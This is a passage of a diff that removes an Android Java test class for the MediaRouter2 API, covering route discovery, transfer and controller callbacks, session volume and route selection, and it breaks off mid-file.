-import android.media.MediaRouter2.ControllerCallback;
-import android.media.MediaRouter2.OnGetControllerHintsListener;
-import android.media.MediaRouter2.RouteCallback;
-import android.media.MediaRouter2.RoutingController;
-import android.media.MediaRouter2.TransferCallback;
-import android.media.RouteDiscoveryPreference;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.LargeTest;
-import android.text.TextUtils;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
-@LargeTest
-@NonMediaMainlineTest
-public class MediaRouter2Test {
-    private static final String TAG = "MR2Test";
-    Context mContext;
-    private MediaRouter2 mRouter2;
-    private Executor mExecutor;
-    private AudioManager mAudioManager;
-    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
-    private StubMediaRoute2ProviderService mService;
-
-    private static final int TIMEOUT_MS = 5000;
-    private static final int WAIT_MS = 2000;
-
-    private static final String TEST_KEY = "test_key";
-    private static final String TEST_VALUE = "test_value";
-    private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
-            new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
-    private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
-            new RouteDiscoveryPreference.Builder(
-                    Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mRouter2 = MediaRouter2.getInstance(mContext);
-        mExecutor = Executors.newSingleThreadExecutor();
-        mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
-
-        MediaRouter2TestActivity.startActivity(mContext);
-
-        // In order to make the system bind to the test service,
-        // set a non-empty discovery preference while app is in foreground.
-        List<String> features = new ArrayList<>();
-        features.add("A test feature");
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, false).build();
-        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
-
-        new PollingCheck(TIMEOUT_MS) {
-            @Override
-            protected boolean check() {
-                StubMediaRoute2ProviderService service =
-                        StubMediaRoute2ProviderService.getInstance();
-                if (service != null) {
-                    mService = service;
-                    return true;
-                }
-                return false;
-            }
-        }.run();
-        mService.initializeRoutes();
-        mService.publishRoutes();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
-        MediaRouter2TestActivity.finishActivity();
-        if (mService != null) {
-            mService.clear();
-            mService = null;
-        }
-    }
-
-    @Test
-    public void testGetRoutesAfterCreation() {
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
-        try {
-            List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
-            assertFalse(initialRoutes.isEmpty());
-            for (MediaRoute2Info route : initialRoutes) {
-                assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
-            }
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback);
-        }
-    }
-
-    /**
-     * Tests if we get proper routes for application that has special route type.
-     */
-    @Test
-    public void testGetRoutes() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
-
-        int remoteRouteCount = 0;
-        for (MediaRoute2Info route : routes.values()) {
-            if (!route.isSystemRoute()) {
-                remoteRouteCount++;
-            }
-        }
-
-        assertEquals(1, remoteRouteCount);
-        assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
-    }
-
-    @Test
-    public void testRegisterTransferCallbackWithInvalidArguments() {
-        Executor executor = mExecutor;
-        TransferCallback callback = new TransferCallback() {};
-
-        // Tests null executor
-        assertThrows(NullPointerException.class,
-                () -> mRouter2.registerTransferCallback(null, callback));
-
-        // Tests null callback
-        assertThrows(NullPointerException.class,
-                () -> mRouter2.registerTransferCallback(executor, null));
-    }
-
-    @Test
-    public void testUnregisterTransferCallbackWithNullCallback() {
-        // Tests null callback
-        assertThrows(NullPointerException.class,
-                () -> mRouter2.unregisterTransferCallback(null));
-    }
-
-    @Test
-    public void testTransferToSuccess() throws Exception {
-        final List<String> sampleRouteFeature = new ArrayList<>();
-        sampleRouteFeature.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback controllerCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes()).containsKey(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(route);
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onSessionCreationFailed should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(controllerCallback);
-        }
-    }
-
-    @Test
-    public void testTransferToFailure() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info route = routes.get(ROUTE_ID3_SESSION_CREATION_FAILED);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                assertEquals(route, requestedRoute);
-                failureLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.transferTo(route);
-            assertTrue(failureLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onTransfer should not be called.
-            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testTransferToTwice() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        final CountDownLatch successLatch1 = new CountDownLatch(1);
-        final CountDownLatch successLatch2 = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final CountDownLatch stopLatch = new CountDownLatch(1);
-        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
-
-        final List<RoutingController> createdControllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                createdControllers.add(newController);
-                if (successLatch1.getCount() > 0) {
-                    successLatch1.countDown();
-                } else {
-                    successLatch2.countDown();
-                }
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-
-            @Override
-            public void onStop(RoutingController controller) {
-                stopLatch.countDown();
-            }
-        };
-
-        StubMediaRoute2ProviderService service = mService;
-        if (service != null) {
-            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
-                @Override
-                public void onReleaseSession(long requestId, String sessionId) {
-                    onReleaseSessionLatch.countDown();
-                }
-            });
-        }
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info route1 = routes.get(ROUTE_ID1);
-        MediaRoute2Info route2 = routes.get(ROUTE_ID2);
-        assertNotNull(route1);
-        assertNotNull(route2);
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.transferTo(route1);
-            assertTrue(successLatch1.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            mRouter2.transferTo(route2);
-            assertTrue(successLatch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onTransferFailure/onStop should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-            assertFalse(stopLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // Created controllers should have proper info
-            assertEquals(2, createdControllers.size());
-            RoutingController controller1 = createdControllers.get(0);
-            RoutingController controller2 = createdControllers.get(1);
-
-            assertNotEquals(controller1.getId(), controller2.getId());
-            assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
-                    ROUTE_ID1));
-            assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
-                    ROUTE_ID2));
-
-            // Transferred controllers shouldn't be obtainable.
-            assertFalse(mRouter2.getControllers().contains(controller1));
-            assertTrue(mRouter2.getControllers().contains(controller2));
-
-            // Should be able to release transferred controllers.
-            controller1.release();
-            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(createdControllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testSetOnGetControllerHintsListener() throws Exception {
-        final List<String> sampleRouteFeature = new ArrayList<>();
-        sampleRouteFeature.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final Bundle controllerHints = new Bundle();
-        controllerHints.putString(TEST_KEY, TEST_VALUE);
-        final OnGetControllerHintsListener listener = route1 -> controllerHints;
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-
-                // The StubMediaRoute2ProviderService is supposed to set control hints
-                // with the given controllerHints.
-                Bundle controlHints = newController.getControlHints();
-                assertNotNull(controlHints);
-                assertTrue(controlHints.containsKey(TEST_KEY));
-                assertEquals(TEST_VALUE, controlHints.getString(TEST_KEY));
-
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-
-            // The StubMediaRoute2ProviderService supposed to set control hints
-            // with the given creationSessionHints.
-            mRouter2.setOnGetControllerHintsListener(listener);
-            mRouter2.transferTo(route);
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onSessionCreationFailed should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testSetSessionVolume() throws Exception {
-        List<String> sampleRouteFeature = new ArrayList<>();
-        sampleRouteFeature.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        CountDownLatch successLatch = new CountDownLatch(1);
-        CountDownLatch volumeChangedLatch = new CountDownLatch(1);
-
-        List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-
-        try {
-            mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.transferTo(route);
-
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterTransferCallback(transferCallback);
-            mRouter2.unregisterRouteCallback(routeCallback);
-        }
-
-        assertEquals(1, controllers.size());
-        // test requestSetSessionVolume
-
-        RoutingController targetController = controllers.get(0);
-        assertEquals(PLAYBACK_VOLUME_VARIABLE, targetController.getVolumeHandling());
-        int currentVolume = targetController.getVolume();
-        int maxVolume = targetController.getVolumeMax();
-        int targetVolume = (currentVolume == maxVolume) ? currentVolume - 1 : (currentVolume + 1);
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(MediaRouter2.RoutingController controller) {
-                if (!TextUtils.equals(targetController.getId(), controller.getId())) {
-                    return;
-                }
-                if (controller.getVolume() == targetVolume) {
-                    volumeChangedLatch.countDown();
-                }
-            }
-        };
-
-        try {
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-            targetController.setVolume(targetVolume);
-            assertTrue(volumeChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-        }
-    }
-
-    @Test
-    public void testTransferCallbackIsNotCalledAfterUnregistered() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.transferTo(route);
-
-            // Unregisters transfer callback
-            mRouter2.unregisterTransferCallback(transferCallback);
-
-            // No transfer callback methods should be called.
-            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    // TODO: Add tests for illegal inputs if needed (e.g. selecting already selected route)
-    @Test
-    public void testRoutingControllerSelectAndDeselectRoute() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
-        assertNotNull(routeToBegin);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatchForSelect = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatchForDeselect = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-
-        // Create session with ROUTE_ID1
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-
-                if (onControllerUpdatedLatchForSelect.getCount() != 0) {
-                    assertEquals(2, controller.getSelectedRoutes().size());
-                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
-                            .contains(ROUTE_ID1));
-                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertFalse(getOriginalRouteIds(controller.getSelectableRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertTrue(getOriginalRouteIds(controller.getDeselectableRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-                    onControllerUpdatedLatchForSelect.countDown();
-                } else {
-                    assertEquals(1, controller.getSelectedRoutes().size());
-                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
-                            .contains(ROUTE_ID1));
-                    assertFalse(getOriginalRouteIds(controller.getSelectedRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertTrue(getOriginalRouteIds(controller.getSelectableRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertFalse(getOriginalRouteIds(controller.getDeselectableRoutes())
-                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-                    onControllerUpdatedLatchForDeselect.countDown();
-                }
-            }
-        };
-
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(routeToBegin);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-            assertTrue(getOriginalRouteIds(controller.getSelectableRoutes())
-                    .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
-            MediaRoute2Info routeToSelectAndDeselect = routes.get(
-                    ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelectAndDeselect);
-
-            controller.selectRoute(routeToSelectAndDeselect);
-            assertTrue(onControllerUpdatedLatchForSelect.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            controller.deselectRoute(routeToSelectAndDeselect);
-            assertTrue(onControllerUpdatedLatchForDeselect.await(
-                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerTransferToRoute() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
-        assertNotNull(routeToBegin);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with ROUTE_ID1
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                assertEquals(1, controller.getSelectedRoutes().size());
-                assertFalse(getOriginalRouteIds(controller.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
-                        .contains(ROUTE_ID5_TO_TRANSFER_TO));
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(routeToBegin);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
-            assertNotNull(routeToTransferTo);
-
-            mRouter2.transferTo(routeToTransferTo);
-            assertTrue(onControllerUpdatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testControllerCallbackUnregister() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
-        assertNotNull(routeToBegin);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with ROUTE_ID1
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-        };
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                assertEquals(1, controller.getSelectedRoutes().size());
-                assertFalse(getOriginalRouteIds(controller.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
-                        .contains(ROUTE_ID5_TO_TRANSFER_TO));
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(routeToBegin);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-
-            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
-            assertNotNull(routeToTransferTo);
-
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.transferTo(routeToTransferTo);
-            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    // TODO: Add tests for onStop() when provider releases the session.
-    @Test
-    public void testStop() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
-        MediaRoute2Info routeTransferFrom = routes.get(ROUTE_ID1);
-        assertNotNull(routeTransferFrom);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final CountDownLatch onStopLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-            @Override
-            public void onStop(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(
-                        controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onStopLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(routeTransferFrom);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            mRouter2.stop();
-
-            // Select ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelect);
-
-            // This call should be ignored.
-            // The onSessionInfoChanged() shouldn't be called.
-            controller.selectRoute(routeToSelect);
-            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // onStop should be called.
-            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerRelease() throws Exception {
-        final List<String> sampleRouteType = new ArrayList<>();
-        sampleRouteType.add(FEATURE_SAMPLE);
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
